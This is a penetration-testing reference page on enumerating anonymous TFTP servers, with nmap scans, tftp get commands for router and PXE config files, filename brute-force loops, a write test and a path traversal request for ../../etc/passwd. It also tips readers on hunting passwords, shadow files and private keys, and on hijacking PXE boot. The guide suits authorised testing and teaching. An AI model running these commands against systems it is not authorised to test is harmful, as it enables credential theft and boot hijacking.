# TFTP Anonymous File Enumeration

> Enumerate files accessible via unauthenticated TFTP using UDP/69, leveraging the protocol's lack of authentication to identify exposed files and misconfigurations.

- **URL:** https://hackindex.io/services/tftp/enumeration/tftp-anonymous-file-enumeration
- **Path:** TFTP > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/tftp/enumeration.md)
- **Published:** 2026-01-03
- **Updated:** 2026-07-14

TFTP on UDP 69 often allows anonymous reads on embedded devices, routers, or PXE servers. Success exposes configs, firmware images, or boot files containing credentials, network details, or binaries. TFTP has no authentication mechanism by default. Any client can request files by name. It appears most often on network equipment, diskless workstations, and PXE boot infrastructure. Confirm the port is open with a UDP scan before attempting any file retrieval.

## Nmap TFTP Enumeration

Most reliable starting point; brute-forces common filenames against the target:

- Nmap TFTP Enumeration
- Manual File Retrieval
- Anonymous Write Test
- Filename Brute Force
- Basic Server Probe

```bash
nmap -sU -p 69 --script tftp-enum $TARGET_IP
```

Lists any readable files from the built-in wordlist. Positive hits confirm open anonymous access and reveal available paths. Each filename returned narrows down the device type and configuration layout. Multiple hits suggest a misconfigured or default server worth investigating further. Service version for fingerprinting:

```bash
nmap -sU -p 69 -sV $TARGET_IP
```

The daemon type tells you what files are likely stored there. Cisco IOS TFTP servers keep startup-config and running-config in the root. tftpd-hpa on Linux hosts usually serves PXE boot files. dnsmasq combines DHCP and TFTP and stores files differently than standalone daemons. Use the banner version to prioritize which filenames to request manually next.

## Manual File Retrieval

Test single files with the built-in tftp client:

```bash
tftp $TARGET_IP -c get boot.cfg
```

Success downloads the file silently to the current directory. Failure shows a timeout or an access denied message. A timeout usually means the file does not exist, not that access is globally blocked. An access denied message confirms the server responded but restricted that specific file. Some servers return an error code without dropping the connection. Track the error codes you receive. They indicate whether to try related filenames or move on. Common high-value targets:

```bash
tftp $TARGET_IP -c get pxelinux.cfg/default
tftp $TARGET_IP -c get config.bin
tftp $TARGET_IP -c get firmware.img
tftp $TARGET_IP -c get grub.cfg
tftp $TARGET_IP -c get undionly.kpxe
tftp $TARGET_IP -c get backup.conf
```

PXE and router configs often contain plaintext credentials or internal IPs. grub.cfg and pxelinux.cfg reveal kernel parameters and sometimes embed network credentials. firmware.img files require binwalk or similar extraction tools to inspect embedded content. After extracting, grep for strings containing password, key, secret, or admin. Cross-reference any IP addresses found against your scope before escalating.

## Anonymous Write Test

Rare but critical if allowed:

```bash
echo "test" > test.txt
tftp $TARGET_IP -c put test.txt
```

Write access is rarely enabled but worth testing on every open TFTP server. A successful put lets you overwrite configuration files or plant boot scripts. On PXE infrastructure, replacing pxelinux.cfg/default or grub.cfg redirects client machines to attacker-controlled images at next boot. Remove test files immediately after confirming write access to avoid leaving artifacts.

## Filename Brute Force

Automated guessing against open servers:

```bash
for f in $(cat /path/to/filenames.txt); do
  tftp $TARGET_IP -c get "$f" 2>/dev/null && echo "Found: $f";
done
```

Valid files download and trigger output. Files that do not exist produce a timeout or a file not found error with no download. Use device-specific wordlists to maximize hits. For Cisco targets, include startup-config, running-config, and config.txt. For HP and Dell switches, try common backup filenames. SecLists contains a TFTP-specific list under Discovery/TFTP. Quick PXE sweep:

```bash
for f in boot.cfg grub.cfg pxelinux.cfg/default undionly.kpxe; do
  tftp $TARGET_IP -c get "$f" 2>/dev/null && echo "Found: $f";
done
```

Use this check when UDP discovery results are inconclusive or nmap reports the port as open|filtered. TFTP on embedded devices often responds only to properly structured requests. A raw UDP packet removes ambiguity before you commit to more targeted tools.

## Basic Server Probe

Raw UDP poke for response:

```bash
echo "" | nc -u -w1 $TARGET_IP 69
```

Timeout indicates closed or filtered; any packet back confirms a listening server. Most modern TFTP daemons block path traversal at the application layer. Older implementations on embedded devices often skip path validation entirely. Some network devices store configuration files outside the TFTP root, making traversal the only way to reach them. If a traversal attempt returns file content, prioritize passwd, shadow, and private key files next. Combine any traversal finds with credentials retrieved from configuration files earlier in this phase. Directory traversal attempts rarely work but worth testing on positives:

```bash
tftp $TARGET_IP -c get ../../etc/passwd
```

## References

- [Nmap: tftp-enum](https://nmap.org/nsedoc/scripts/tftp-enum.html) - Nmap NSE script for TFTP filename enumeration
- [RFC 1350: The TFTP Protocol](https://datatracker.ietf.org/doc/html/rfc1350) - TFTP protocol specification and packet format